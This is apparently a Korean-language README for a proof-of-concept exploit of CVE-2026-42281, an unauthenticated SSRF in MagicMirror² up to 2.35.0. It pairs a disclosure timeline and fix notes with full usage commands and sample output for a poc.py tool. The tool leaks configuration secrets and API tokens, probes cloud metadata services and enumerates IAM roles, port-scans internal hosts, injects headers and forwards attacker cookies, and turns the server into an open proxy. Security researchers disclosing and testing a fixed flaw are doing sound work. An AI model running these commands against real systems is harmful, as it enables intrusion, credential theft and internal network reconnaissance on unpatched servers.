
CVE-2026-42281에 대한 개념 증명 익스플로잇으로, MagicMirror² ≤ 2.35.0의 인증되지 않은 SSRF 취약점을 이용하여 구성 파일 유출, 클라우드 메타데이터 탐색, 내부 네트워크 스캔을 가능하게 합니다.
/cors 엔드포인트를 통한 인증 없는 SSRF
발견 및 보고: Astaruf
전체 분석 문서: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
이 저장소는 MagicMirror² ≤ 2.35.0의 인증 없는 SSRF인 CVE-2026-42281에 대한 개념 증명(PoC) 익스플로잇을 호스팅합니다. 이 취약점은 /cors 엔드포인트를 루프백, 내부 네트워크 및 클라우드 메타데이터 서비스에 도달하는 완전한 기능의 SSRF 프록시로 변환합니다. hideConfigSecrets: true가 설정된 경우, 동일한 엔드포인트는 단일 요청으로 process.env.SECRET_* 값을 유출할 수도 있습니다.
전체 코드 리뷰, 취약점 분석, 수정 내역, CVSS 논쟁 및 타임라인은 nstsec.com의 전체 분석 문서를 참조하세요. 이 README는 PoC 사용 방법에 중점을 둡니다.
# 1. 대상이 취약한지 확인
python3 poc.py -t http://target:8080 --check
# 2. 애플리케이션 설정 유출 (자동 비밀 키 탐색 포함)
python3 poc.py -t http://target:8080 --config
# 3. 10개 이상의 제공업체에서 클라우드 메타데이터 서비스 탐색
python3 poc.py -t http://target:8080 --cloud
# 4. SSRF를 통한 내부 네트워크 포트 스캔
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. 인바운드/아웃바운드 헤더 남용 데모
python3 poc.py -t http://target:8080 --headers
# 6. 서버를 범용 오픈 프록시로 사용
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| 플래그 | 설명 |
|---|---|
--check | /version의 루프백 페치를 통해 SSRF 악용 가능 여부 확인 |
--config | 루프백을 통해 /config를 SSRF로 요청, JSON 파싱, 모듈 설정에서 API 키 / 토큰 / 비밀번호 탐색 |
--cloud | AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix 전반의 메타데이터 서비스 탐색; AWS IAM 역할 열거 자동 추적 |
--port-scan HOSTS | 하나 이상의 호스트 스캔 (-p 22,80 / -p 0-1024 / -p - 전체 65535 포트), 스레드 방식 |
--headers | 파트 A: sendheaders를 통해 아웃바운드 요청에 Authorization/X-* 헤더 주입. 파트 B: expectedheaders를 통해 악의적인 오리진의 공격자 제어 Set-Cookie를 피해자 브라우저로 전달 |
--open-proxy URL | 모든 URL에 대한 범용 SSRF GET, 응답 본문 출력 (내부 HTTP API 탐색에 유용) |
| 옵션 | 기본값 | 설명 |
|---|---|---|
-t / --target | 필수 | 대상 URL, 예: http://192.168.1.10:8080 |
--timeout | 2.0 | 요청당 타임아웃(초) |
--threads | 30 | --port-scan용 스레드 수 |
--verbose | 꺼짐 | 전체 JSON 응답 출력 (및 마스킹되지 않은 클라우드 메타데이터 본문) |
1. PoC 배너 및 SSRF를 확인하는 --check 모드:
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — /cors 엔드포인트를 통한 인증 없는 SSRF
작성자: Astaruf | https://nstsec.com
CHECK, 대상 연결 가능성 및 SSRF 확인
[*] 대상 연결 가능성 확인 중 ...
[+] 대상 연결 가능, MagicMirror 2.35.0
[*] 루프백을 통한 SSRF 확인 중 ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF 확인됨, 서버가 우리를 대신하여 내부 리소스를 가져옴
<< 2.35.0
2. --config는 애플리케이션 설정을 유출하고 모듈 설정에서 비밀 키를 자동으로 발견합니다:
CONFIG EXFILTRATION, SSRF 루프백을 통한 전체 설정
[+] 설정 검색 완료, 1194 바이트
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] 모든 IP에 개방
발견된 비밀 키:
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers는 아웃바운드 주입 및 인바운드 전달을 확인합니다:
HEADER INJECTION, 아웃바운드 및 인바운드 헤더 남용
[*] 파트 A: sendheaders를 통해 아웃바운드 요청에 임의 헤더 주입
[+] 아웃바운드 요청에서 헤더 X-Injected-By: SSRF-PoC 확인됨
[+] 아웃바운드 요청에서 헤더 Authorization: Bearer DEMO_TOKEN 확인됨
[*] 파트 B: expectedheaders를 통해 응답 헤더를 브라우저로 전달
[+] 응답 헤더 Set-Cookie가 브라우저로 전달됨: session=hijacked;HttpOnly
[+] 브라우저는 이 쿠키를 MagicMirror 도메인에서 온 것처럼 수신
4. --open-proxy는 서버에서의 아웃바운드 HTTP를 확인합니다:
OPEN PROXY, 취약한 서버를 통해 https://httpbin.org/ip 가져오기
[+] HTTP 200, 서버에서 32 바이트 수신
{
"origin": "<서버의 공인 IP, 공격자의 IP가 아님>"
}
--check (및 다른 모든 모드)는 http://127.0.0.1:<port>/version으로 SSRF 루프백을 보냅니다. Docker로 테스트할 때는 호스트 포트가 컨테이너 내부 포트와 일치하는지 확인하세요 (예: 8081:8080이 아닌 8080:8080 매핑). 그렇지 않으면 인스턴스가 실제로 취약하더라도 루프백 대상이 컨테이너 내부에서 해석되지 않습니다.--cloud는 결과가 없습니다 — 이는 정상이며 스크립트가 이를 명시적으로 보고합니다. 해당 벡터는 존재하지만 테스트하려면 실제 클라우드 배포가 필요합니다.MagicMirror² v2.36.0 (2026년 4월 30일 출시)에 포함되었습니다. 수정은 6개의 PR(#4084, #4087, #4090, #4091, #4102, #4104)에 걸쳐 다층적으로 적용되었습니다. PR별 세부 내역, 코드 스니펫 및 패치 버전에 대해 재테스트된 우회 시도 검증 매트릭스는 전체 분석 문서를 참조하세요.
| 날짜 | 이벤트 |
|---|---|
| 2026-03-30 | 취약점 발견, 공개 이슈 오픈, 유지관리자에게 이메일 발송 |
| 2026-03-31 | 유지관리자가 보고를 인지 |
| 2026-04-01 | 유지관리자가 SECURITY.md 추가 및 저장소에 GitHub Security Advisories 활성화 |
| 2026-04-09 | 공식 GHSA 권고 오픈 |
| 2026-04-26 | 다음 릴리스에 대한 수정 확인. GitHub에서 CVE-2026-42281 할당 |
| 2026-04-26 | CVSS 논쟁 — 벡터가 Moderate에서 9.2 Critical로 상향 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | MagicMirror² v2.36.0 출시, 수정 사항 공개 배포 |
| 2026-05-04 | 공개 공개 (분석 문서 + PoC 저장소) |
이 자료는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적인 서면 테스트 허가를 받은 MagicMirror² 인스턴스에만 사용하세요. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다.